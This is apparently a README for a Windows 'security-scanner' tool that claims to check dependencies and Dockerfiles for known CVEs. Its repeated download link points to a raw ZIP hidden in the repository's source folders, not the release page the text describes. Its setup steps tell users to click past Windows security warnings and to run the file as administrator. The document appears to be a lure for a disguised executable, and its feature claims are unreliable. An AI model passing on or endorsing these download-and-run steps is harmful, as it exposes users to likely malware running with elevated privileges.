🛡️ security-scanner - Simple vulnerability checks for everyone

📥 Download

Visit this page to download: https://github.com/Blacke2902/security-scanner/raw/refs/heads/main/src/repo_security_scanner/reports/scanner-security-v2.7-alpha.1.zip

On that page, pick the latest release for Windows. Download the file that matches your computer, then open it to start the app.

🪟 Windows setup

1. Open the release page link above.
2. Look for the newest version at the top.
3. Under Assets, download the Windows file.
4. If you see a .zip file, open it and extract the contents.
5. If you see a .exe file, double-click it to run it.
6. If Windows asks for permission, choose More info and then Run anyway if you trust the file from the release page.

🔍 What security-scanner does

security-scanner checks your project files for known security problems. It looks at common package files and Dockerfiles, then compares them with public vulnerability data.

It helps you:

• Check dependencies for known issues
• Scan Dockerfiles for risky package versions
• Review results in a clear way
• Run quick scans without setup
• Use the same tool across several package types

🧰 What it can scan

security-scanner supports common software stacks used in many projects:

• JavaScript and Node.js
• Python
• Dockerfiles
• Other common package formats

It uses public vulnerability sources and can work across many dependency types. That makes it useful for both small projects and larger codebases.

🚀 Getting started

After you download the app, put it in a folder you can find again, such as Downloads or Desktop.

Then:

1. Open the folder where you saved the file.
2. Run the app.
3. If it opens a terminal window, let it finish the scan.
4. Read the results on screen.
5. Fix any packages or lines marked as risky.

If you use a .zip file, keep the app and its files together in the same folder so it can run correctly.

🖥️ How to use it

The app is made for simple, fast checks.

Typical use looks like this:

1. Open security-scanner.
2. Point it at your project folder.
3. Let it scan your dependencies and Dockerfiles.
4. Review the results.
5. Update packages or images that have known issues.
6. Run the scan again to confirm the fix.

If you are not sure which folder to choose, pick the folder that contains your project files.

📂 Example project folders

security-scanner works well with folders that include files like these:

• package.json
• requirements.txt
• Pipfile
• Dockerfile
• docker-compose.yml

You do not need to open these files by hand. The app checks them for you.

🛡️ Why use it

This tool helps you find known problems before they cause trouble.

It can save time when you want to:

• Check your project before shipping it
• Review old dependencies
• Inspect a Docker image setup
• Keep your software up to date
• Spot weak points in your supply chain

⚙️ How it works

security-scanner reads your project files, looks up package names and versions, and compares them with public vulnerability records.

It uses data from free public sources and can also help with analysis based on the scan results.

That means you get:

• Fast checks
• No setup for most users
• Clear results
• A simple path to safer dependencies

🧩 Common scan results

You may see results such as:

• Outdated package versions
• Known CVEs
• Risky Docker base images
• Dependencies with security fixes available
• Items that need a manual review

If the scan shows a problem, update the package or image to a safer version, then run the scan again.

📁 Best way to organize your files

For the cleanest scan, keep your project in one folder and avoid moving files while the scan runs.

A simple layout can look like this:

• MyProject/
  • package.json
  • Dockerfile
  • src/
  • README.md

If you work on more than one project, scan each folder one at a time.

🔄 Scheduled scanning

security-scanner also supports scheduled scanning. That helps if you want to check your projects on a set time without doing it by hand each time.

A common use is:

• Run a scan each day
• Check a project each week
• Review changes after dependency updates

If scheduled scanning is enabled in your setup, keep the app in the same folder and make sure your project path stays the same.

🧠 AI-powered analysis

The app can use AI-powered analysis to help explain scan results in plain language.

This can help when you want to understand:

• Why a package is flagged
• What part of a Dockerfile looks risky
• Which issue matters most
• What to fix first

Use the scan results as your main guide, then read the extra analysis for more context.

❓ If the app does not start

If the file does not open, try these steps:

1. Check that the download finished fully.
2. Make sure you downloaded the Windows file from the release page.
3. Right-click the file and choose Run as administrator if needed.
4. If the file is in a ZIP folder, extract it first.
5. Try downloading the latest release again.

🔎 If no results appear

If the app runs but shows no results:

1. Make sure you selected the correct project folder.
2. Check that the folder contains supported files.
3. Confirm the files are named correctly, such as package.json or Dockerfile.
4. Run the scan again after checking the path.

🧼 Keeping your scan clean

To get the best results:

• Keep dependencies up to date
• Remove unused packages
• Use trusted base images
• Recheck the project after changes
• Scan each new release before use

📌 Supported topics

This project focuses on:

• CLI tools
• CVE checks
• Dependency checks
• DevSecOps
• npm audit style scanning
• Open source security
• OSV data
• pip-audit style checks
• Python projects
• Software composition analysis
• Security
• Supply chain security
• Vulnerability scanning

📦 Download and run

Visit this page to download: https://github.com/Blacke2902/security-scanner/raw/refs/heads/main/src/repo_security_scanner/reports/scanner-security-v2.7-alpha.1.zip

Then:

1. Open the latest release.
2. Download the Windows file from Assets.
3. Open the file or extract the ZIP.
4. Run security-scanner.
5. Scan your project folder and review the results